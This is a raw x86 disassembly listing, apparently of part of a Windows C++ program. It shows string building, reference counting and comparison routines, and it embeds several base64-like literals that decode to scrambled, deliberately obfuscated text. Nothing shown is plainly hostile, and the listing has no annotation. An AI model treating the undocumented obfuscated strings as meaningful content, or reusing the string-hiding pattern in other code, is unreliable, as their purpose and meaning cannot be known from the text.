mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5212d0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5212c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c0b
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521b73
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521310
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00524080
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.00448a20
add esp, 0x14
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c10
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.Sl9xckdC
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xd
call fcn.0042cad0
test al, al
jne 0x521418
push 8
push str.Sl9xckdC
lea ecx, [ebp - 0x3c]
call fcn.0042cdf0
mov byte [ebp - 4], 0xe
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c1a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push str.Sl9xclJna2M
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xf
call fcn.0042cad0
test al, al
jne 0x52145c
push 0xc
push str.Sl9xclJna2M
lea ecx, [ebp - 0x40]
call fcn.0042cdf0
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5bd18c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x11
call fcn.00432480
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c24
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042cad0
test al, al
jne 0x52154b
test esi, esi
jne 0x52152e
xor ecx, ecx
jmp 0x521542
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x521533
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042cdf0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.00445b10
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042c3d0
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5bd18c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x17
call fcn.00432480
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c2e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042cad0
test al, al
jne 0x521688
test esi, esi
jne 0x521668
xor ecx, ecx
jmp 0x52167f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x521670
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042cdf0
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.00445b10
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042c3d0
mov byte [ebp - 4], 0x1d
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c38
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c42
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
push 0x588fb0
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x1f
call fcn.0042cad0
test al, al
jne 0x521737
push 0x44
push 0x588fb0
lea ecx, [ebp - 0x38]
call fcn.0042cdf0
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x7c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gOHkgbWRkY3AgOHkgbWRkY3BHbGRtIDh5IHNwaiA4ICN1cSAqIG1nYiA4I3VxKiBtcnduYyA4ICN1cSB7eyogcWZtdV11Z2xibXUgOCBtZGRjcCB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042b390
lea ecx, [ebp - 0x1a0]
mov byte [ebp - 4], 0x21
call fcn.00432480
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
mov eax, dword [ebp - 0x70]
cmovae ecx, dword [ebp - 0x80]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x298]
cmovae eax, dword [ebp - 0x60]
mov dword [ebp - 0x48], eax
call fcn.00432480
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x298]
call fcn.00433660
lea ecx, [ebp - 0x298]
call fcn.00432400
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1a0]
cmovae edi, dword [ebp - 0x130]
call fcn.00432480
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00433660
lea ecx, [ebp - 0x1a0]
call fcn.00432400
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x24]
call fcn.00442a50
mov byte [ebp - 4], 0x28
push dword [ebp - 0x48]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041f420
mov edx, dword [ebp - 0x24]
or edi, 0xffffffff
add esp, 0x2c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5218cd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042c3d0
lea ecx, [ebp - 0x130]
call fcn.0042c3d0
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x21
call fcn.0042c3d0
mov eax, dword [ebp - 0x34]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x48], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00442cb0
mov ecx, dword [ebp - 0x48]
add esp, 4
call fcn.0045cba0
mov eax, dword [ebp - 0x34]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045cba0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x521994
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x52198a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c4c
push ecx
push edx
call fcn.005472f1
add esp, 8
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5219ae
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5219c5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5219dc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5219f1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x521a25
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521a1b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c4c
push ecx
push edx
call fcn.005472f1
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x521a71
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521a67
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c4c
push ecx
push edx
call fcn.005472f1
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x521ac6
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521abc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c4c
push ecx
push edx
call fcn.005472f1
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x521b1b
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521b11
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c4c
push ecx
push edx
call fcn.005472f1
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x523b71
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520ad0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c4c
jmp 0x520ad0
mov edx, 0x5b87a8
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x521bc5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521b90
sub ecx, dword [ebp - 0x24]
je 0x521bc5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521bc5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521bb0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x521bcc
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521c00
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521bf6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c51
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x521e9e
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521c40
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00524080
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c56
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x2c
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c60
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x2e
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c6a
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x30
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c74
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c7e
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x9c]
call fcn.00446190
mov esi, dword [ebp - 0x34]
add esp, 0x14
mov ecx, 0x5bd250
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00420bb0
mov edi, dword [ebp - 0x6c]
cmp byte [edi + 0xd], 0
jne 0x523c88
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00424a80
test al, al
jne 0x523c88
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x68], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov dword [ebp - 0x84], esp
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x6c], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042c200
mov ecx, dword [ebp - 0x48]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.00406ea0
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521e3e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521e55
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521e6c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x521e83
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x521b36
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x521b36
mov edx, 0x5b88c8
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x521ef5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521ec0
sub ecx, dword [ebp - 0x2c]
je 0x521ef5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x521ef5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x521ee0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x521efc
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x521f30
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x521f26
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c4c
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5220f2
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521f70
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c92
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523c9c
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x3d
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523ca6
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.00449f00
mov eax, dword [ebp - 0x34]
add esp, 4
mov esi, esp
mov dword [ebp - 0x6c], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042c200
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.004071c0
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5220bd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5220d4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x521b36
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x521b36
mov edx, 0x5b86e8
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x522145
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522110
sub ecx, dword [ebp - 0x2c]
je 0x522145
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522145
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522130
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00558780
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52214c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x522180
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522176
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x523c4c
push ecx
push edx
call fcn.005472f1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52241e
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5221c0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x58c2f0
call fcn.00429bc0
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
call fcn.00547402
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x70], eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.00444d90
mov esi, dword [ebp - 0x34]
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [esi + 0xc]
call fcn.004148b0
mov eax, dword [ebp - 0x70]
push dword [eax + 4]
lea eax, [ebp - 0x70]
push eax
mov ecx, eax
call fcn.004509e0
push 0x2c
push dword [ebp - 0x70]
call fcn.005472f1
add esp, 8
mov dword [ebp - 4], 0x42
jmp 0x52232f
mov edi, dword [esi]
sub esp, 0x18
mov ecx, esp
push 0x5bd174
call fcn.0042c2f0
lea ecx, [ebp - 0x2c]
call fcn.00442a50
add esp, 0x18
mov eax, dword [eax]
nop dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x522376
test cx, cx
je 0x522372
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x522376
add eax, 4
add edi, 4
test cx, cx
jne 0x522350
xor edi, edi
jmp 0x52237b
sbb edi, edi
or edi, 1
mov edx, dword [ebp - 0x2c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522396
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x522403
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xd0], 0
movups xmmword [ebp - 0xe4], xmm0
call fcn.0042b390
push 1
push ecx
mov byte [ebp - 4], 0x4b
lea eax, [ebp - 0xe4]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
